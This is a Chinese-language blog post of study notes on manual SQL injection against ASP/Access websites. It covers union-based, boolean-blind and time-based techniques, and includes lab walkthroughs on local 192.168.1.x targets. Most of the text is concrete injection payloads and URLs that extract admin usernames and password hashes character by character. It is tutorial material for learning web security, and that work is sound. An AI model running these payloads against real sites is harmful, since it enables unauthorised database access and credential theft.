access注入

一般搭配

  1.   asp        iis+access
    
  2.   aspx      iis+mssql (端口1433)
    
  3.   access只有一个库
    
  • 默认端口号

    1、mysql的默认端口是3306,可以编辑用户目录下的 .my.cnf 文件进行修改;

    2、sqlserver默认端口号为:1433;

    3、oracle默认端口号为:1521;

    4、DB2默认端口号为:5000;

    5、PostgreSQL默认端口号为:5432。

联合查询

用到 的语句:select 字段名 from 表名

判断是否是字符型、数字型等,并将其闭合

1.首先进行判断,?id=1 and 1=1正确而id=2 and 1=2错误则证明有注入点

2.判断字段数,?id=1 order by 1(从1或随便一个数开始猜,直到查询出现错误)

3.?id=1 union select 1,2,3,4,5....... from admin(表名),字段数太多时可以使用Hackbar插件,根据回显在相应位置便可查询账号密码等信息

小技巧:不知道字段名时可以右键查看该源代码中表单的名字进行尝试

 

盲注布尔 时间

?id=1 and (select count(*)from msysobjects)>0 msysobjects只有access才有这个系统表,

可通过这个表判断是access还是SQL server

布尔:

  •  统计个数:?id=1 and (select count(*)from admin)>1   count是统计该表有几行数据,当>1正常而>2错误时可判断出该表有一行数据
  •  判断账号长度:确认该表有一行数据时可使用如?id=1 and 1=(select count(*)from admin where len(adminuid)>4)            根据adminuid字段的值的长度是否大于4判断adminuid值的长度,直到试到报错前的最大值。同理也可试该账户的密码的长度,不过密码可能是某种类型的加密
  •  知道账号长度后逐渐判断具体的值:id=1 and (select top 1 asc(mid(adminuid,1,1)) from admin )>97 

top1是查询首条记录,mid函数是在adminuid中从第一个字符开始截取一个,如果是截取第二个则是2,1.

如果页面返回正常则该字段的第一个的ASCII值是大于97的,并一步步测试下去

时间:

 延时注入,通过判断页面的延时响应时间来推断,主要用到2个函数

 if(问题,true,false),sleep()

 在bool盲注的基础上构造时间延时的函数即可,如

 ?id=1 and if((select count(*)from admin)>1,sleep(3),1)

 

靶场:

asp+access手工注入靶场中(联合查询),点击保安类的第一个服装得

http://192.168.1.5/Production/PRODUCT_DETAIL.asp?id=1513

当输入asp?id=1513 and 1=1时正常,and 1=2时错误,即有注入点。且存在联合查询,猜表名为admin,经过测试,该admin表有22种字段名

http://192.168.1.5/Production/PRODUCT_DETAIL.asp?id=1513 UNION SELECT 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin

这里通过回显位爆出账号和密码,密码是MD5加密

asp+access报错手工布尔注入(盲注),点击第二个微软认证专家得到

http://192.168.1.6/ReadNews.asp?NewsID=19&BigClassID=2&SmallClassID=2

经过1=1 和1=2测试,该三个参数都有注入点,但是order by不管几都会报错。

 

  • 这时可通过报错盲注验证表的存在等,如

http://192.168.1.6/ReadNews.asp?NewsID=19&BigClassID=2 &SmallClassID=2 and (select count(*) from admin)=1

等于1的时候正确,2的时候错误,说明该表存在一条数据。

  • SmallClassID=2 and (select count(*) from admin where len(adminuid)=5)>0  (不知道字段名时,点击后台登录的页面源代码的表单结构,极有可能是字段名),通过测试,该uid值的长度为5,同理可得出密码的长度   &SmallClassID=2 and (select count(*) from admin where len(adminpwd)>15)>0
  • 判断uid第一位的值,若存在多条数据,可在Asc前面加上如top 2,

&SmallClassID=2 and (select  top 1 asc(mid(adminuid,1,1))=97 from admin)

posted @ 2022-08-26 11:01  MKID1412  阅读(44)  评论(0编辑  收藏  举报